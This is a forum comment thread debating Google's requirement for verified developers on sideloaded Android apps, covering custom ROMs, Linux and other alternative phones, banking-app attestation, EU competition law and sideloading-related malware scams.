I hope something like SailfishOS [1] could take off. They do have Android support, and maybe even by pressure, they could get banking apps working in the EU via that.
[1]: https://sailfishos.org/
Anyone even remotely privacy or security conscious needs to vote with their wallet in protest and stop buying Android phones, otherwise it's only a matter of time 'til Google bans side-loading and it becomes impossible to buy a phone that can run any kind of anonymous or end-to-end encrypted communication software.
Stop buying Android and what? Buy an iPhone that's even more locked down or live like an outcast that can't access essential services? Because those are the realistic options.
For years I've been buying middle-of-the-road Android phones because they provide pretty good bang for the buck, but if I can't use a computer I paid for however the fuck I want, I'm just going to start getting the cheapest crap I can get away with and use it as little as possible. "Vote with your wallet" doesn't have to mean total abstinence.
I think getting a flagship device that's a few years old probably makes for a better experience. I check the LineageOS supported devices list, then search eBay for something from there.
> live like an outcast
in all things. I would encourage you and everyone who reads this post to stare down this option with realistic consideration. In a society this broken, it is the solution to more and more things. To checkout, to accept the hard mode because to pick the path of convenience is to be exploited.
Again, and again, and again.
I've been doing it. That's why I'm vegan.
I'm sorry, this is such a funny follow up comment, I literally lol-ed when I got to it.
Eating on hard-mode is what we do.
I respect at least your choice but I'm not growing tofu on the farm. Veganism is one of those protests that while i appreciate going after factory farms, you're only enabled to do so by large corporations.
You've never tried growing tofu? It pops out of the ground in little cubes. Super easy, barely an inconvenience.
> _I'm not growing tofu on the farm_
What else are you growing?
Flip phones can access essential services just fine, if some business or government office is only allowing something to be done via smartphone app, that’s a problem.
A problem for who? Go ahead and raise it, I’m sure the government office will get right on fixing it.
>live like an outcast that can't access essential services?
I don't own a smartphone and I am happy as ever. I used to own one a while back, but it wasn't worth the effort and the rage when it was slow.
If a service can be accessed only with a smartphone, I complain (which is of little use).
Do you not have to use a 2FA app for things like banking? In Singapore, they are phasing out 2FA options other than the banking app. The banking apps only work on iPhones and Google-approved Android phones. It's pretty bad.
Wow. My bank provided me with an external token to do 2FA. If I have to guess, however, the code that generates the OTP code (assuming that is a code that is requested) should be easy enough to reverse engineer.
I admit, though, that being forced to RE a f**ing android app just to do banking is grounds to change the aforementioned bank. Isn't there any other alternative in Singapore?
It's kind of stupid when you consider the number of people who don't have screen locks (or else have easily guessable ones) on their phones.
It really isn't that bad. I've never owned a smartphone, and can do everything I need through websites and the occasional phone call.
What if people stopped buying brand new Android phones and instead bought used ones and then installed alternative Android versions and app stores.
Can't access banks, ticket systems etc. unfortunately we are in the era of tightened screws, the freedom is running out :(
Lol all these things work via the web. You just log on via the browswer. Not everything needs an app.
In your country, maybe. Over here you're dead in the water without a smartphone — can't access banking except by going to the branch and standing in the queue for an hour or two, can't access most government services. Limit your selection of goods (like electronics, but not only that) by something like 90% (and also increase prices by 30-50%) because brick and mortar shops sell old crap at much higher cost than it was ever worth, and the only real solution is buying from a major marketplace which is only available as a mobile application.
This concept originated in China and is spreading. Beware.
Can I ask which country? You said originated in China but is it China or another east Asia country?
@achrono (I cannot reply to the other post, I don't know why). Yes, you can use just a web browser.
> Mobile Payments They work with a card, no smartphone required. Moreover, cash didn't cease to exist.
> Navigation Again, physical maps are a thing. Google Maps or OpenStreetMap are accessible by browser. Having a physical map and having to follow road signs can be a beautiful experience. If one is addicted to a machine that tells them where to go, navigators are still a thing (no smartphone required)
>All manner of IoT devices
Don't put an IoT device in your house if you don't know what it does and how it works. If the only way to interface to it is via an app... then you don't know what it does and how it works. Don't put it in your house.
>Wearables
I don't even know what are wearables: if I write it on Firefox it underlines it in red. By doing a quick search, I can see images of watches. Watches can work without an app. Moreover, watches that work without an app are usually less expensive than the other kind.
>Digital versions of ID (Mobile Passport Control)
Don't. I know that some governments are pushing this crap thinking it's the future. Simply don't. Imagine you're at the airport and you accidentally drop your passport. You pick it up, nothing lost. Imagine you drop your phone and it stops working. You lost:
- Your documents - Your money (if you rely on your phone for paying and don't have cash with you, which seems a growing trend among people I know) - All your ways to contact people for help
Instead:
- Your wallet is stolen: you lost all your money and your cards, but you have your documents (at least the passport because it surely does not fit a wallet). - Your phone is stolen: you lost all the ways to contact people, but you can buy another one - Your passport is stolen: you can contact your embassy.
Smartphones are becoming a SPOF (Single Point Of Failure) for our lives.
> physical maps
Are you for real? I'm totally on board with using free and open alternatives, but if you're not going on a mountain trail then a physical map is going to be drastically worse than any navigation software.
Also FWIW I have a card-sized passport that I can easily get stolen with my wallet.
Ok, I admit I do not own any such passport (for now).
But for navigation... I use a mixture between physical maps and directions and online data. Specifically, before departure, I simply use OpenStreetMap to look at the route. If the route is very long I know I will be traveling by highways, so I rely on noting down only some keypoints. Then at the end of the route (near the destination), where I know I will get lost, I screenshot the map and I print it out (or have it on my laptop, it depends).
Other than banks & ticketing, there is a whole host of things that do in fact need an app.
* Mobile payments
* Navigation
* All manner of IoT devices
* Wearables!
* Digital versions of ID (Mobile Passport Control)
etc.
So no, you can't just use the web.
But, and I hesitate to point it out, because I am finding that people think it is somehow minimal entry stakes, one does not need any of those things..
You wouldn't get very far without WeChat and AliPay in China. Last time a good friend of mine was there, many merchants simply refused to accept cash. The few that did had made it known how much they were inconvenienced by doing that.
Same for basically every interaction with locals, for accessing government services, or even just using the public transportation.
It's pretty similar for locals AFAIK.
And before anyone replies that he didn't have to travel there — no, he did, unless he was willing to look for another job (which are very sparse here, you hold on to a good job for dear life).
Aren't there attestation frameworks under development that they could start using too?
The 2FAs require their mobile app sometimes.
you can usually just use the web-interfaces for those services. less convenient, sure, but the options are there.
What types of tickets are you referring to here? I’m not familiar with that restriction.
He's talking about concert tickets and similar entertainment events, where several of the major providers no longer provide PDF tickets and instead only send them to a phone app. It is possible to make enough of a stink and collect tickets on the day, but that option is increasingly difficult to find.
Buy Apple; the point is to hurt Google. If enough people do it, Google might reconsider. Show them that the open ecosystem is the only value Android added, and if they refuse to bring back the open ecosystem then their platform will slowly die. Won't be long until Google's as locked-down as Apple at this rate, so all Android gives you is a power-hungry OS that protect your privacy even less than iOS does.
Buying closed stuff to show we want an open ecosystem?
At this point, I believe the most effective ways one can help with this is:
(1) advocacy - it's slow and difficult, but having people at least agree / be familiar with the idea that closed stuff is bad is a good first step.
Open ecosystems can't work for the general public if it's trapped in closed networks that won't work on anything else than the two big mobile operating systems, so making people start using open chat apps and such will help a lot. It'll take years, but so be it. It's worth it I think.
(2) helping improve the more open stuff.
I think Linux mobile for instance is a potentially viable alternative in the medium term for at least the basic use cases: Calls, SMS, GPS / Maps, Signal, photos. All this has no reason not to work with some polish. I daily drove Linux mobile 4 years ago for a year. The main thing I'm missing is good hardware for it, and a lot of polish but nothing impossible. Yeah, indeed, no payment with the phone (Google Pay / Apple Pay). But it's still possible to use the physical cards and not use the phone for this.
You've got to be kidding. Doesn't work, Apple is even more locked down than what this article announces. No sideloading whatsoever, signature checks ala Play Protect are mandatory and cannot be switched off, no alternative app stores, etc.
You can side load three apps at a time outside the EU and unlimited inside the EU.
Not sure why this is downvoted. The entire value proposition of Android is the semi-open OS. For things you can’t do with Apple devices, you use the myriad of Android devices out there.
A locked-down Android is pointless.
Yet most of the world runs Android. Its main value proposition was always wide selection of hardware for however much money you're willing to spend, not its relative openness.
I make relatively decent money by our standards, and I wouldn't even think about dropping $700-1000 on a phone (which isn't even officially sold or supported over here). For the vast majority of people it's their whole income over 2-4 months. I don't know or care how much you make, let's say it's $10k per month. Imagine if you had to pay $20-40k for a phone which is good for maybe 5-8 years.
And most of the world is like that.
Utterly pointless.
Banking apps, messaging apps, streaming apps, even video games all want locked down devices. They will use hardware cryptography to discriminate against us and refuse service if they can't cryprographically prove we're using a corporate owned device.
Naughty user. Looks like you've been tampering with your device, installing unauthorized software and whatnot. Only money laundering drug trafficking child molesting terrorists do that. I'm gonna have to deny your request to log you into your bank account.
I'm curious what you think the alternative is, because Apple is definitely a lot worse, and we all know they're very much a duopoly.
BTW, all the GrapheneOS, etc. are still Android phones.
I'm curious if GrapheneOS or other custom Android builds would be able to avoid these restrictions reasonably.
Obviously this is going to impact the supply of apps, since the market share of custom Android is smaller than even the market share of people willing to sideload or use an alternative store on a mainstream Android phone. Many developers might quit the game.
The problem with custom ROMs is that many government, banking, and similar apps don't run on them without workarounds. Some of those apps also consider this as a TOS violation as well.
When Microsoft first proposed a remote attestation scheme for PCs under the name Palladium, it was widely seen as a nightmare scenario. Even the mainstream press was critical[0]. There was barely a whimper when Google introduced Safetynet a decade later.
It wasn't OK in 2003. It wasn't OK in 2014. It isn't OK now. I'm just not sure what anybody can do about it.
[0] https://www.nytimes.com/2003/06/30/business/technology-a-saf...
There are many third-party money apps that login to your online banking that are a violation of ToS. That doesn't stop people using them. In fact, when they get really big, they can be legitimised by banks. For example, to get my mortgage, I had to use a third party service that logs in to my online banking account and ingests all my transactions to show that I saved for my deposit legitimately.
Then I won't run those apps. Seriously. I know not everyone has this option, but it's been my experience that a lot of processes do in fact have workarounds when you show them the cryptic error their poorly behaved app throws.
GrapheneOS has offical support for hardware attestation[0].
It does require the developer to make minor adjustments, and most banks are simply too risk averse to agree to doing that (I would know, used to be a senior android app dev at a bank).
[0]: https://grapheneos.social/@GrapheneOS/115062761036828110
I have been a GrapheneOS user since the Pixel 3 and have yet to encounter an app that doesn't work on GOS.
I don’t use any utility apps (identity, banking, services etc) on my phone and stick to the desktop web. And don’t use services that do require me to have a Google or apple account and phone. (Spoiler: I do)
I hope my tiny datapoint shows up in some aggregated stats somewhere.
It’s use-it-or-lose-it.
Looks like they can avoid these restrictions:
https://grapheneos.social/@GrapheneOS/115090818389369737
> "GrapheneOS doesn't include Google Mobile Services and the requirements for certification aren't relevant to us."
GrapheneOS uses a sandboxed version of Google Play Services, not the GMS certified devices they mentioned in the article.
I had a Jolla phone on my hands the other day and I must admit this…
SailfishOS is pretty nice
I might get one next
Buy Xperia 10 III while you still can. It's the best SailfishOS phone at the moment.
I have an Xperia 10 III, but it's running AOSP I built myself.
https://developer.sony.com/open-source/aosp-on-xperia-open-d...
Basically none of this new restriction will bother me, since I don't run anything but stock AOSP and get all my apps from f-droid repos.
Eventually you will need a new phone and by then probably all phones will be locked down.
Hunting for one rn
Thanks for the heads up
It's really nice when you first use it but if you have to use it as a daily driver it's pure pain. Rather go for graphene.
The alternative is just Apple; if Google loses enough users they might reconsider. Essentially the only real advantage Android had over Apple was being a more free platform/ecosystem; if they're going to do away with that, then they should be shown that this means they'll lose a lot of users.
Even with this change, Android is still more free than iOS by far.
GrapheneOS is a beautiful stop-gap, but there are real bona-fide Linux smartphones out there. To be clear, there are not many, the hardware often isn't great, the software often isn't great. PinePhone and Librem come to mind.
Cell carriers will just start requiring the attestation as well. And eventually, even an internet connection will - wifi routers will have to attest to ISP equipment, etc.
The final phase is "AI" monitoring everything you do on your devices. Eventually it won't just be passive, either, but likely active: able to change books you read and audio you listen to on-the-fly without your consent. It will be argued that this ok because the program is "objective".
At this point, I would stop using commercial cell carriers and ISP-provided equipment altogether, even if that means setting up mesh networks with an underground community. User control or bust.
I've been keeping an eye on FuriLabs (Furiphone). They maintain FuriOS - Debian with an Android kernel. Has a container for running Android apps. Price is reasonable though I don't know how it'll be affected by tariffs in the US. It's tempting.
https://furilabs.com/shop/flx1/
I really wanted to like Librem and almost bought a phone until I saw this video by Louis Rossmann: https://youtu.be/wKegmu0V75s?si=NzevsJgHD188bRkT
In addition to the PinePhone and Librem 5, you can also put postmarketOS on some faster Android phones like the OnePlus 6T.
https://www.bunniestudios.com/blog/2020/introducing-precurso... This is the most secure phone that has been made recently.
Per their spec sheet it doesn't have cellular connectivity, so it's not actually a phone.
And if what you want is a PDA that runs Linux, there are many options, e.g. https://www.clockworkpi.com/home-uconsole.
Neat concept.
For anyone else failing to resolve DNS for that domain: https://archive.is/q7w0x
Precursor is neat, but it isn't a phone.
Pretty sure Bunnie named it “precursor” because the plan is to make the actual phone (with a cellular modem) next. If I had the cash to support him and buy a Precursor I would.
>real bona-fide Linux
Android is decades ahead of that in security, functionality, utility, devex, and design. It's a fools errand to try and modernize that, over building on top of AOSP.
I'm curious how this is gonna fly considering the DMA in the EU.
My guess is that they've taken the correct lesson from all the EU antitrust fines, and it's not that they should be less anticompetitive. It's that they should be more politically compliant, for things like censorship, surveillance and messaging control. For which this is a useful step.
I assume that this is Google's way of circumventing the DSA?
You can just disable Play Protect though, can't you?
For now, that might change.
goodbye newpipe :(
Google doesnt like competition when it comes to selling you out
GrapheneOS.
How will this affect GrapheneOS?
Maybe it is time for a new entry into the Smartphone OS market?
Great news which hopefully will shape the buyer away from monopolies.
Maybe its time to stop using an OS developed by an advertising company.
How much is the verification going to cost?
If it's something simple like $100, that's not a big deal. That's on the order of what I'm looking at for my code signing certificates. It would be a an eminently reasonable business expense.
Our only choice are 2 american companies, Google or Apple
Why did we let that happen?
It's not the case anymore. HN is not reflecting it, but HarmonyOS is very much a 3rd option. Huawei got banned from using Android, and they decided to start a mobile OS from scratch. They are binary compatible with Android, so most apps work straight away. Unless they use play services.
They wrote it from scratch in C++ so they could avoid some of the legacy cruft in Android. And they are getting adoption. It's a major OS in China and in many developing countries (phones with it are cheaper, and it flies on underpowered hardware!)
Before we judge the magnitude of this event (HarmonyOS existing and being successful), let's remember that last time anyone tried to disrupt the duopoly Android-iOS, it was MS, the largest company on earth by market capitalization at the time. And they failed.
Well, it very much looks like Huawei is not failing. We in the west don't see it as much, because propaganda is working well. But last tech conference I attended (GITEX Berlin, if you are wondering), had their app available to download with... 3 logos, not 2. Harmony OS was there. This is a major win for consumers all over the world.
And this being HN, I hope the inevitable comment "but China!" is slightly more informed that the average internet user.
If this comes to fruition, my next phone is going to be Harmony OS. I hate the CCP with passion, but if there's sideloading on Harmony - that's where I'm going to go.
This is actually good if it hopefully paves way for breaking them up
I don't get it. Does this stop me from sideloading apps?
Just like force pushing Manifest v3 on Chrome/Chromium, this is a step towards 'more security', from mouthpieces of Google.
Note that 'security' here is only for Google itself, for users it's an utterly different thing, e.g., inconvenience, censorship, etc..
I wonder, how hard is it to build an app on the phone from source?
wow that rather fast [https://ibb.co.com/8LF8qdxm]
I already got popup in dashboard this morning
We really need a third alternative when it comes to mobile
I hate to break the news to Google, but this will likely be ruled illegal. The relevant German news of the court ruling that makes requiring a Google Account to use Google Services illegal:
https://www.zdfheute.de/wirtschaft/unternehmen/gmx-google-pl...
Rechtsprechung (court decision of LG Mainz, 22.08.2025, 12 HK O 32/24), text isn't published yet as of today:
https://dejure.org/dienste/vernetzung/rechtsprechung?Gericht...
If you search for the Aktenzeichen ("12 HK O 32/34") you'll find other news sources that confirm this.
Yeah if this goes ahead I'm going back to my feature phone
Well I guess that's good bye Pixel and Android for me then.
does this kill F-droid? can you build apks outside of google play and sign them with Google Play CA?
They are following apple
Its good and bad at the same time imho.
How is it good and bad? I'm only seeing the bad part at the moment?
Malware app makers could be forced to KYC, that's good.
They really got into your head, huh?
What about webapps?
That's what I'm wondering about too. Could they enforce verification by requiring you to put a signed "manifest" in your web app's root?
Here's hoping this will be a shot in the arm for PWAs.
This is the final nail in the coffin for personal computing
It's a blow, but this is over dramatic.
What does this mean for projects like Grapheneos, or fdroid?
"The changes will affect all certified Android devices once live". AKA GrapheneOS should remain unaffected (as it is not "certified", per Google parlance), and F-Droid should remain available - in theory.
If they keep up this "boil the frog slowly" crap though, I may be migrating off of Android and over to a strictly Linux-based phone, like a PinePhone, Librem, etc.
Fuck the scumbags at the top of big tech making decisions like these.
Next step: require all "certified" devices to prevent unlocking the bootloader... then possibly kill AOSP...
I have no words.. or more precisely, those words are not the kind of words I'm allowed to write here.
AOSP is being killed piece by piece - zero community engagements, infrequent dumps with no commit logs, moving everything into Google Play services and recently no more binaries for Pixel phones just to make third party ROM developers lives a little more miserable.
shameful
was a reason I bought Android. will they be sending me a refund?
So Android is just iOS now.
Boooo. Fuck this noise! Might as well run iOS at this point, unless your use case needs Android only apps or workflows.
What a fucking joke.
This eliminates the appeal of andoid over ios.
Okay, so Android is dead to me then.
I see... I guess it's just... web apps then?
This aligns with their AOSP recent changes.
This doesn't seem to be going over well.
Only developers care. The users don't even know what sideloading is. This will successfully kill off the single remaining freedom users have.
Could someone explain why the personal privacy of software developers is more important than the cybersecurity of consumers and nations please and thank you
To everyone working at Big Tech: you should be ashamed of helping those oligarchs make their plans reality by working for them. Thanks to you, privacy, free computing and democracy will disappear.
Another instalment of HN thread where people try their best to pretend that "security" does not come with "enforced, ideally at hardware level, inability to run random code" for 99% of phone users.
Here a tip: you won't solve the problem of security by just whining about corporate interests (which is a real concern) and NOT proposing a better solution that works for an average tech illiterate, very socially engineerable person trained to ignore every warning screen. And no root switch is not that solution because it will be flipped on day 1.
Nothing about this prevents random code running.
You still need an app with far too many permissions to pay for parking. All this does and funnel that through the play store.
Guess what - play store is infested with malware. In fact, most malware comes from the play store. This fixes nothing.
I say let people shoot themselves in the foot if they want. That's the cost of a free society.
You expect random people like your baker next door to be security experts who can beat top notch hackers. It just doesn't work like that. Even you may not be as good as you think is required to protect yourself in the wild internets
Also many of them will be your family (if you have it). Maybe even those from whom you would have inherited something if only they were not hacked
"To combat malware and financial scams"
What a horrible, terrible, depressing bag of lies that the anti-humanists keep getting away with saying with a straight face.
So, FairPhone with a new OS then?
Google welcome to Apple 10 years ago
SteamOS. It's up to you.
Time for normalizing obtanium
This isn't legal in the EU is it?
It is. Notarization like Apple does is also legal. In fact the EU commission would welcome this with open arms since they can now access the personal data of every developer and can order Google to ban every app they want. This goes hand-in-hand with their new "Digital wallet" app that will be launched next year.
I wouldn't be so sure. The DMA is very much against gatekeeping and a couple of days ago Google lost in court to 1&1 (in Germany) regarding keeping Android users in a walled garden [0]. This is in appeal now. We'll see.
[0] https://www.zdfheute.de/wirtschaft/unternehmen/gmx-google-pl... in German, I'm afraid
[flagged]
if we continue this direction, in a couple of years, a feature phone might be an excellent choice!
Smartphones are over for me.
Feels like Google is either following Apple's playbook from iPhone OS 1, or they're working together so they can argue this is standard practice in the industry... or something. Either way, no more Android gloating that they can install any app from anywhere any time without centralized approval. Not great. I'm an Apple fan, BUT I like having a fully open backup plan.
This is another "beginning of the end." All eyes are on this situation and how much push back it gets. If there is little resistance, others will certainly follow suit.
Squeeze, Raban. Squeeze hard.
Keep your phone. All you have to do is say no to digital for:
- money - tickets - identification
They cannot force everyone to own and buy a phone.
From the announcement
> our recent analysis found over 50 times more malware from internet-sideloaded sources than on apps available through Google Play.
I will believe this when we stop seeing brazen malware in marquee app store apps, e.g. https://www.tracesecurity.com/blog/articles/meta-pixel-and-t...
Just going to leave this here for the canadians: https://competition-bureau.canada.ca/en/contact-competition-...
"Google to prevent users from installing programs on Android phones."
This might do more good than harm, since I'm willing to believe that scams involving APKs are prevalent, but come on. I need your permission to install software on my phone? Are you sure it isn't just that you want more control over everyone's phones?
Imagine MS doing the same for Windows.
It’s sad that smartphones now hold so much personal and private data but aren’t really under the control of their users.
> Imagine MS doing the same for Windows.
They already have a version of that - it's called Windows S Mode (Windows Store apps only, no EXEs or scripts, Edge only for browsing). If they get away with it, they would make it the default. Required Microsoft accounts was a step in that direction.
This is what caused gaben to create steamos which is now a somewhat viable ecosystem with the steamdeck and rumored machines
> Imagine MS doing the same for Windows.
It will happen. We've been the frogs boiled in the pot for years, accepting forced attestation. Eventually they'll close off running unsigned code, and the PCs will probably have bootloaders locked to Windows as well, so you can't escape.
what a betrayal. I'm done with android.
This will be just another boost for de-googled phones, alternative platforms and potentially Mobile Linux.
The only reason why google phones became so popular was the fact that they were much less restrictive than iPhones. Thus the platform became the biggest phone platform in the world.
Now they are asking for a new start to arise and take their place.
It occurs to me this may have occurred in some way at the behest of the Trump administration, as a way in which to move towards controlling the apps installed on phones.
This reminds me of Microsoft's Project Palladium, 20 years ago. This was the ancestor of TPMs and trusted computing in general embedded in the CPU.
It used to be a huge scandal because people (rightly) feared that it would enable Microsoft to have a say on what can be executed or not, or only allow DRM protected content to play.
Extremely retarded. "Think of the children" all over again in the guise of "Think of the misinformation" when this is all just some kind of easy way to get rid of apps like newpipe.
This is a dangerous thing to do! This severely limits the freedom of the internet. At this point, we'd need a new "OS" like dhh did with Omarchy!
Google is really turning into a dystopian company, destroying any goodwill their virtuous employees created in the past. It feels like they are primed to be the main turnkey tyranny facilitators.
Google was always dystopian and evil. They just wore good mask for some time in the beginning.
> Google is explicit today about how “developers will have the same freedom to distribute their apps directly to users through sideloading or to use any app store they prefer.”
« Développer will have freedom » yet they are entitled to Google’s verification.
It’s just another stone in the grave of Android and even though I shipped off this sinking ship 6 years ago to iOS, this is still concerning because ultimately apple’s IOS is in competition solely with Android.
If Android gets so bad it has all the disadvantage of iOS, some more, for instance with the embedded spyware that manufacturer are paid to include, and none of the good side of iOS, then everyone lose. Apple doesn’t have to compete anymore, they just have to not suck.
Can you even compile an iOS app without registering with apple?
Without an apple ID you can compile an iOS app, but can only run it in an iPhone Simulator on a Mac.
With a free apple ID (no additional registration needed) you can also install your compiled iOS app on your iPhone and have it working for 7 days before you need to re-install it.
Is it really different from what Google is doing ? Not being to compile or user not being to install have the very same consequence : your app can’t be used.
This phase from the last couple of years just had to come - and while it's painful to be exposed to it - it seems highly illogical for us to complain and cry about it.
- "Free" search - yay, let's all use it for everything and even make a verb out of it
- Email - such nice guys, Google - free email forever, what could go wrong if I have my 95% of all my info there
- Maps - yeah, let's all depend on these free Google maps with our lives
- Chrome - ofc, heck yes, let's all use their browser, it's the best and free - no need for anything else
- Google account login for EVERYTHING - so convenient! Google Authenticator app, Google Wallet - yes, more!
- Free mobile operating system - nice, take that, Apple!
Google has taken over a large portion of our lives, step by step - good enough services, on global scale, for free, until they became essential.
They are not evil, like they were never good - they are a company, and in the current socio-economic structure, that means having a duty to use their position to enrich their shareholders - and absolutely have no interest in people's wellbeing or morality or opinions or reputation - unless it temporarily serves to do so more / better.
I'm in no way trying to defend them. Just, with all the futility of it, pointing out how hyper-capitalism we've built/allowed to grow, has reached the stage where it's practically impossible for the "free market" to react / provide solutions that people want. Now the big players decide what people get.
In this case, you can no longer have a high quality phone of a good manufacturer and install on it what you want. Small manufacturer catering to that demographic won't get government certification, you can't have your e.g. Samsung and install a ROM anymore, and you can't install your app freely on Android unless Google lets you. That's all just in a tiny sliver of space.
Our Tetris board barely has any room left for choice and actions.
Absolutely disgusting. No reason to keep using Android then.
iOS is a closed jail even worse. The real solution is to buy uncertified Chinese devices then.
China offering more freedom than the supposed free world
So much for people preaching Android as an alternative to Apple's walled garden. Enshittification advances apace.
Imagine you develop a VPN app that specifically helps people evade government censorship.
Everyone can figure out what's going to happen next.
Totally deserved with how pathetically complacent and uncurious our society has become. We had it coming.
Gives me another reason to use Custom ROM
Only a matter of time for them to require "certified devices" to lock the bootloader.
Hopefully we get another EU action here soon, to put them back in their place.
And once again our only hope is Elon Musk bringing out a competing smartphone ecosystem that is actually open.
sidenote: xAI just opensource Grok 2.5 and will opensource Grok 3 in 6 months.
Can't wait for the Volksphone X.
You mean the guy that bans people from twitter for disagreeing with him? And has made a chatbot that spouts right-wing conspiracies in the name of being "anti-woke"?
I can’t say I’m surprised; but I am disappointed.
What the hell is a verified developer lol
Sorry, we're getting rid of Revanced, Newpipe, Xmanager, etc. for your own good. Just like how Manifest v3 was for security. /s
That might be one of the reasons. Get rid of competition by legal means.
In my case I keep a copy of K9 Mail 5.6 with the original UI (the reason I choose K9) and I sideload it to every device of mine. I'm afraid that I'll have to register an account and what, claim that that K9 is mine?
I miss K9.
-- Apologies for my brevity.... --
TL;DR If you're not using Linux by now, do yourself a favor and start. You could do worse than starting with Linux Mint or PopOS, but whatever you do, get ahead of the curve and transition to these user-friendly open sourced OSes. The alternative is far, far worse at the moment.
The issue is with Android, not desktop. Linux Mint and PopOS run on desktop. They aren't alternatives to Android.
Well time to make sure mobile Linux is accessible so the blind users aren't the only ones left when all the world switches to Linux /s
aren't there braille terminals that work with linux? I don't know how you would make a rigorous blind UX other than working with a text interface first.
Year of mobile Linux OS? /s
Maybe Elon Musk can save us /s
He won’t.
But China does, and not tomorrow, not in the future, but today already, by selling unrestricted devices
Everybody complaining of this is admitting they are doing nefarious actions. Those of us playing by the rules see no issue with this - In fact I welcome it!
Sorry if I didn't recognize your sarcasm, but if you’re serious, you’re probably also assuming that rooting is usually done for criminal activity. In fact, both rooting and easy app creation/side-loading are often tools to solve inconveniences. I didn't plan to root my last phone until I encountered some restrictions in the manufacturer’s version of Android that couldn’t be resolved without rooting.
Regarding the topic, I can easily imagine a legitimate app on Google Play with available source code, where you find something inconvenient and your attempts to suggest a fix to the developer did not lead to the desired outcome. Currently, you or your developer friend can simply fork such an app, fix the issue, and release it for the general public without any extra paperwork. This Google policy would make such a developer suspicious/disabled by default (if the developer is not already verified), unless proved otherwise.
Before quickly running to dismiss this move, please at least do your research with regards to the situation in the countries mentioned in the article, especially Singapore and Thailand.
Side-loaded malware has been an epidemic in SE Asia, and there are MILLIONS of dollars stolen (mostly from pensioners!) via side-loaded malware disguised as gambling apps - the local population is particularly suspectible to gambling, especially the older generations that are not so tech-savvy.
It's good they decided to do something about it.
So make it an unlockable feature with a big red warning saying something like: 'If you unlock this feature, your money might be stolen, malware could infiltrate your system. You take full responsibility and acknowledge that you are tech-savvy.'
I'm sure if my grandma saw something like that, she wouldn't click it. This way, people who want to stay in a closed garden are protected, while those who want full control have it. The current implementation seems designed for state interests, not the people's.
It shouldn't be impossible. Not every FOSS developer will want to register, or be mature enough, or may be from sanctioned countries, and so forth.
I think that you are right, although that is not the only issue.
One of the issues is that perhaps they should also check the software in the official app stores better (I think I had read that Apple does a little bit, although they don't do it so well either, and they don't have side-loading so that is another problem).
However, perhaps a more significant issue is when something requires having Android (or iPhone) even if you do not want that, you cannot use your own (or none at all, if that would make sense which sometimes it does).
Private app companies should be and are doing more to protect against malware.
Banking apps in Malaysia are required to include malware detection software [0]. Companies should have better fraud and trust teams to identity and block fraud activities.
The rest of the world shouldn't suffer because a handful of banking companies refuse to offer basic fraud protections for their users.
[0] - https://www.abm.org.my/press-releases/banks-to-enable-malwar...
The requirement per Google's post is rolling out globally though in a couple years. There was nothing stopping per country governments that this may disproportionately affect from requiring this for Play Protect/GMS certified Android devices sold in their region but enforcing it worldwide for such non-AOSP devices I don't find surprising to be controversial.
Brave of you to say this. Yeah, in my humble opinion, agree with you, android and ios devices target the mainstream users more than say a PC or Mac's, and should be more locked down. We can keep PC's and Mac's relative open (although they are getting more secure too, which might be good?), but for devices that truly target the masses, secure them as much as possible (why would typical users like my parent's need to install a remote access server on their phone?).
Yeah, my Dad got hacked only a month ago, through a tech-support phishing phone-call. He uses a windows PC which makes him vulnerable, and the scammers did install tons of evil crap. He really should be using an android or ios tablet, to reduce his chances of being hacked like this. I know these devices are still vulnerable, but they do seem more secure based on how much more locked down they are.